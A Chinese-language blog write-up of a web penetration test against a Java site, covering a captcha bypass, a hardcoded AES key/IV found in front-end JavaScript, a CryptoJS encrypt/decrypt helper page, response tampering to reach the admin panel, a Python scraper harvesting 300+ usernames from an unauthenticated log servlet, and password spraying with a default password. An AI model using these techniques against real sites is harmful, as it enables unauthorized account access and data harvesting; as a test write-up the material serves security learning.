记一次渗透测试

 

 
Java的站点,登录有限制5次,admin已经被锁定了,验证码没啥用,分两次请求,一次是验证验证码的,一次是验证登录的,因此只要为伪造第二次的请求即可
 
验证验证码
 

 
发送验证请求
 

 

Key/Iv硬编码

 
审计js源码发现,Aes中的Key/Iv使用了硬编码
 

 
但是没有用户名,当然可以尝试爆破,但是感觉效率不高,后面发现确实是这样的
 

Aes爆破

 
这里我使用 BurpCrypto 这个插件
 

 

一些问题

 
调试的时候发现,总是对不上,于是学习了一下 CryptoJS 这个Js库的使用
 
发现按照文中的写法,默认的输出是Base64编码后的
 

 
CryptoJS 中只提供了base64,因此爆破的时候还需要你去hex一下
 

 

 

简单调试CryptoJS

 
肯定要反解密的,因此学习了一下关于 CryptoJS 中Aes加解密的使用(支持加解密很多类型,但是这里面使用Aes),简单写了一个前端Aes加解密的东西
 

<!DOCTYPE html>
<html>
<head>
    <title>Mikasa</title>
</head>
<body>
<input type="text" id="str" value="待加解密字符串" >
<input type="text" id="key" value="Key" >
<input type="text" id="iv" value="iv" >
<br>
<input type="button" name="" value="加密" onclick="EnCode();">
<input type="button" name="" value="解密" onclick="DenCode();">
<script src="./jquery.js"></script>
<script src="./Cryptojs.js"></script>
<script type="text/javascript">
    function EnCode(argument) {
        var StrStr= $("#str").val();
        var keykey=$("#key").val();
        var iviv=$("#iv").val();

        alert(encrypt(StrStr,keykey,iviv));
    }

function encrypt(data,key,iv) {
    // body...
     var EnKey= CryptoJS.enc.Latin1.parse(key);
     var Eniv = CryptoJS.enc.Latin1.parse(iv);

     return (CryptoJS.AES.encrypt(data, EnKey, {iv:Eniv,mode:CryptoJS.mode.CBC,padding:CryptoJS.pad.Pkcs7}).toString());

}
   function strToHexCharCode(str) {
         var sb='';
         for(var i = 0; i < str.length; i++){  
             var hex = (str.charCodeAt(i) & 0xFF).toString(16);  
             if (hex.length == 1) {  
                 hex = '0' + hex;  
             }  
             sb=sb+hex;  
         }  
         return sb.toUpperCase();  
    }

    function DenCode() {
        var StrStr= $("#str").val();
        var keykey=$("#key").val();
        var iviv=$("#iv").val();

        alert(dencrypt(StrStr,keykey,iviv));
    }

function dencrypt(data,key,iv) {
    // body...
    var data= hexCharCodeToStr(data);
     var DenKey= CryptoJS.enc.Latin1.parse(key);
     var Deniv = CryptoJS.enc.Latin1.parse(iv);
     return hexCharCodeToStr(CryptoJS.AES.decrypt(data, DenKey, {iv:Deniv,mode:CryptoJS.mode.CBC,padding:CryptoJS.pad.Pkcs7}).toString());

}

function hexCharCodeToStr(hexCharCodeStr) {
  var trimedStr = hexCharCodeStr.trim();
  var rawStr =
  trimedStr.substr(0,2).toLowerCase() === "0x"
  ?
  trimedStr.substr(2)
  :
  trimedStr;
  var len = rawStr.length;
  if(len % 2 !== 0) {
    alert("Illegal Format ASCII Code!");
    return "";
  }
  var curCharCode;
  var resultStr = [];
  for(var i = 0; i < len;i = i + 2) {
    curCharCode = parseInt(rawStr.substr(i, 2), 16); // ASCII Code Value
    resultStr.push(String.fromCharCode(curCharCode));
  }
  return resultStr.join("");
}
</script>
</body>
</html>

 

 
需要引入 CryptoJS 以及 Jquery
 

后台未授权访问获取日志log

 
审计js源码发现,是根据 status 以及 token 字段来判断是否成功
 

 
劫持返回包
 

 


 
尽量保持参数不为空
 
修改后成功进入后台
 

 
但是每个模块应该都做了鉴权,不能使用
 

 
但是查看日志的 Servlet 鉴权不全,存在未授权访问,因此我们可以获取到登录用户的用户名
 

 
bs4爬下来去个重完事
 

# -*- coding: utf-8 -*-

from bs4 import BeautifulSoup

import requests
import time
headers={
    "Cookie":""
}

url="url"

data={"pageNum":"1"}

test=requests.post(url,headers=headers,data=data)

soup=BeautifulSoup(test.text)


for test in range(1,60):
    Mikasa=requests.post(url,headers=headers,data={"pageNum":test})
    soup = BeautifulSoup(Mikasa.text)
    num = len(soup.find_all("td"))
    num_test=0
    while num_test <num:
        open("user.txt","a").write(soup.find_all("td")[num_test].get_text()+"\n")
        num_test=num_test+4
    pass

 

尝试爆破

 
拿到了用户名(300+),于是准备去爆破,因为锁定机制每个只能爆破 5 次,于是先爆破两个密码试试
 
这里我选择的是 123456 password
 

 
但是爆破结果不如人意(估计默认密码不是123456,或者大家都改了),截图没了,暂时就这样
 
后面注意到在渗透其他的站点时候,发现默认密码好像是 Pass*123
 
尝试爆破,在300+个用户中,终于找到了一个
 

 

 
我们去解密一下
 

 

 
登录成功
 

 
后台的功能较多,慢慢待测
 

posted @ 2021-08-09 17:13  Zahad003  阅读(283)  评论(0编辑  收藏  举报